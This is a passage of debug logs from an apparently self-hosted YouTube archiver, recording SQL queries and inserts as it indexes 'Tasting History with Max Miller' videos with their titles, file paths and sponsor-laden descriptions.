10, "/downloads/Tasting History with Max Miller/2026-01-20 Eating Like a Victorian Workhouse Inmate - Scouse & Suet Dumplings/Eating Like a Victorian Workhouse Inmate - Scouse & Suet Dumplings [zjMQgMshYM8].NA", false, false, 3, [], 98, ~U[2026-01-20 00:00:00Z], ~U[2026-03-30 06:51:32Z], ~U[2026-03-30 06:51:32Z], "Get 40% off your first Hungryroot box PLUS get a free item of your choice in every box for life with code TASTINGHISTORY at https://bit.ly/3DhydYp\n\nVideo on the London Gin Craze - \u00A0\u00A0\u00A0•\u00A0The\u00A0London\u00A0Gin\u00A0Craze\u00A0and\u00A0Beyond\u00A0\u00A0\nVideo on Gruel - \u00A0\u00A0\u00A0•\u00A0What\u00A0is\u00A0Gruel?\u00A0\u00A0\nVideo on Lobscouse - \u00A0\u00A0\u00A0•\u00A0Lobscouse,\u00A0Hardtack\u00A0&\u00A0Navy\u00A0Sea\u00A0Cooks\u00A0\u00A0\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nThe Workhouse Cookbook by Peter Higginbotham - https://amzn.to/4b9Bzvr\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Eating Like a Victorian Workhouse Inmate - Scouse & Suet Dumplings", "zjMQgMshYM8", "https://www.youtube.com/watch?v=zjMQgMshYM8", nil, false, "/downloads/Tasting History with Max Miller/2026-01-20 Eating Like a Victorian Workhouse Inmate - Scouse & Suet Dumplings/Eating Like a Victorian Workhouse Inmate - Scouse & Suet Dumplings [zjMQgMshYM8].NA", false, 3, ~U[2026-01-20 00:00:00Z]] 02:51:32.927 [debug] QUERY OK source="sources" db=0.2ms idle=4.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:32.927 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:32.928 [debug] QUERY OK source="media_items" db=0.2ms idle=4.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [7349] 02:51:32.928 [debug] Current batch of media processed. Will check again in 1000ms 02:51:33.929 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Thank you Wildgrain for sponsoring. Visit https://wildgrain.com/tastinghistory and use code \r“TASTINGHISTORY” at checkout to receive $30 your first box + free croissants for life!\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "filename" => "/downloads/Tasting History with Max Miller/2026-01-13 The Pastry War - When France invaded Mexico over pastry/The Pastry War - When France invaded Mexico over pastry [J0OHUwVLPdM].NA", "id" => "J0OHUwVLPdM", "original_url" => "https://www.youtube.com/watch?v=J0OHUwVLPdM", "playlist_index" => 11, "title" => "The Pastry War - When France invaded Mexico over pastry", "upload_date" => "20260113"} 02:51:33.930 [debug] QUERY OK source="sources" db=0.2ms idle=1003.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:51:33.930 [debug] QUERY OK source="sources" db=0.1ms idle=1002.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:33.932 [debug] QUERY OK source="media_items" db=1.3ms idle=1002.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-13 00:00:00Z], 3] 02:51:33.934 [debug] QUERY OK source="media_items" db=1.9ms idle=1004.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Thank you Wildgrain for sponsoring. Visit https://wildgrain.com/tastinghistory and use code \r“TASTINGHISTORY” at checkout to receive $30 your first box + free croissants for life!\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "The Pastry War - When France invaded Mexico over pastry", "e1e402fe-823d-4f0e-afcb-3d2737fc1871", "J0OHUwVLPdM", "https://www.youtube.com/watch?v=J0OHUwVLPdM", false, false, 11, "/downloads/Tasting History with Max Miller/2026-01-13 The Pastry War - When France invaded Mexico over pastry/The Pastry War - When France invaded Mexico over pastry [J0OHUwVLPdM].NA", false, false, 3, [], 98, ~U[2026-01-13 00:00:00Z], ~U[2026-03-30 06:51:33Z], ~U[2026-03-30 06:51:33Z], "Thank you Wildgrain for sponsoring. Visit https://wildgrain.com/tastinghistory and use code \r“TASTINGHISTORY” at checkout to receive $30 your first box + free croissants for life!\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "The Pastry War - When France invaded Mexico over pastry", "J0OHUwVLPdM", "https://www.youtube.com/watch?v=J0OHUwVLPdM", nil, false, "/downloads/Tasting History with Max Miller/2026-01-13 The Pastry War - When France invaded Mexico over pastry/The Pastry War - When France invaded Mexico over pastry [J0OHUwVLPdM].NA", false, 3, ~U[2026-01-13 00:00:00Z]] 02:51:33.935 [debug] QUERY OK source="sources" db=0.2ms idle=240.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:33.935 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:33.936 [debug] QUERY OK source="media_items" db=0.2ms idle=5.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [6875] 02:51:33.936 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "There’s no better time to try out Thrive Market! With their New Year Sale you’ll get 30% off top products PLUS when you use my link http://thrivemarket.com/MaxMiller you’ll get an extra 30% off your first order AND a FREE gift worth up to $60! Kickstart your new year & stock up now!\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "filename" => "/downloads/Tasting History with Max Miller/2026-01-06 Beef Bourguignon for the French Peasants from 1885/Beef Bourguignon for the French Peasants from 1885 [cQYswc4-dvU].NA", "id" => "cQYswc4-dvU", "original_url" => "https://www.youtube.com/watch?v=cQYswc4-dvU", "playlist_index" => 12, "title" => "Beef Bourguignon for the French Peasants from 1885", "upload_date" => "20260106"} 02:51:33.936 [debug] QUERY OK source="sources" db=0.2ms idle=4.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:51:33.937 [debug] QUERY OK source="sources" db=0.1ms idle=2.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:33.938 [debug] QUERY OK source="media_items" db=1.3ms idle=2.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-06 00:00:00Z], 3] 02:51:33.940 [debug] QUERY OK source="media_items" db=1.0ms idle=3.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["There’s no better time to try out Thrive Market! With their New Year Sale you’ll get 30% off top products PLUS when you use my link http://thrivemarket.com/MaxMiller you’ll get an extra 30% off your first order AND a FREE gift worth up to $60! Kickstart your new year & stock up now!\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Beef Bourguignon for the French Peasants from 1885", "aee53cea-2673-450d-8537-69a4c9b3a6dd", "cQYswc4-dvU", "https://www.youtube.com/watch?v=cQYswc4-dvU", false, false, 12, "/downloads/Tasting History with Max Miller/2026-01-06 Beef Bourguignon for the French Peasants from 1885/Beef Bourguignon for the French Peasants from 1885 [cQYswc4-dvU].NA", false, false, 3, [], 98, ~U[2026-01-06 00:00:00Z], ~U[2026-03-30 06:51:33Z], ~U[2026-03-30 06:51:33Z], "There’s no better time to try out Thrive Market! With their New Year Sale you’ll get 30% off top products PLUS when you use my link http://thrivemarket.com/MaxMiller you’ll get an extra 30% off your first order AND a FREE gift worth up to $60! Kickstart your new year & stock up now!\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Beef Bourguignon for the French Peasants from 1885", "cQYswc4-dvU", "https://www.youtube.com/watch?v=cQYswc4-dvU", nil, false, "/downloads/Tasting History with Max Miller/2026-01-06 Beef Bourguignon for the French Peasants from 1885/Beef Bourguignon for the French Peasants from 1885 [cQYswc4-dvU].NA", false, 3, ~U[2026-01-06 00:00:00Z]] 02:51:33.940 [debug] QUERY OK source="sources" db=0.1ms idle=4.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:33.940 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:33.941 [debug] QUERY OK source="media_items" db=0.2ms idle=3.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [6408] 02:51:33.941 [debug] Current batch of media processed. Will check again in 1000ms 02:51:34.941 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Order the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nApicius De Re Coquinaria - https://amzn.to/3MN5u2j\nGarum - https://amzn.to/49ilamR\nDefrutum - https://amzn.to/3MKu9Vc\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nLegionaries carrying pila - By CristianChirita - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nCorbulo - By Basvb - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nDocuments from Vindolanda - By Fæ, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nVindolanda - By Mike Bishop - https://www.flickr.com/photos/thearma..., CC BY-SA 2.0, https://commons.wikimedia.org/w/index...\nGarum Bottle - By Claus Ableiter - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nArte Romana, preparing food - I, Sailko, CC BY-SA 3.0 https://creativecommons.org/licenses/..., via Wikimedia Commons\n\n#tastinghistory", "filename" => "/downloads/Tasting History with Max Miller/2025-12-30 Feeding A Roman Centurion - Pork & Puls/Feeding A Roman Centurion - Pork & Puls [1fDKx1CgcXs].NA", "id" => "1fDKx1CgcXs", "original_url" => "https://www.youtube.com/watch?v=1fDKx1CgcXs", "playlist_index" => 13, "title" => "Feeding A Roman Centurion - Pork & Puls", "upload_date" => "20251230"} 02:51:34.942 [debug] QUERY OK source="sources" db=0.2ms idle=1002.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:51:34.942 [debug] QUERY OK source="sources" db=0.1ms idle=1002.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:34.944 [debug] QUERY OK source="media_items" db=1.4ms idle=1002.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-30 00:00:00Z], 3] 02:51:34.947 [debug] QUERY OK source="media_items" db=2.3ms idle=1003.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Order the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nApicius De Re Coquinaria - https://amzn.to/3MN5u2j\nGarum - https://amzn.to/49ilamR\nDefrutum - https://amzn.to/3MKu9Vc\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nLegionaries carrying pila - By CristianChirita - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nCorbulo - By Basvb - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nDocuments from Vindolanda - By Fæ, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nVindolanda - By Mike Bishop - 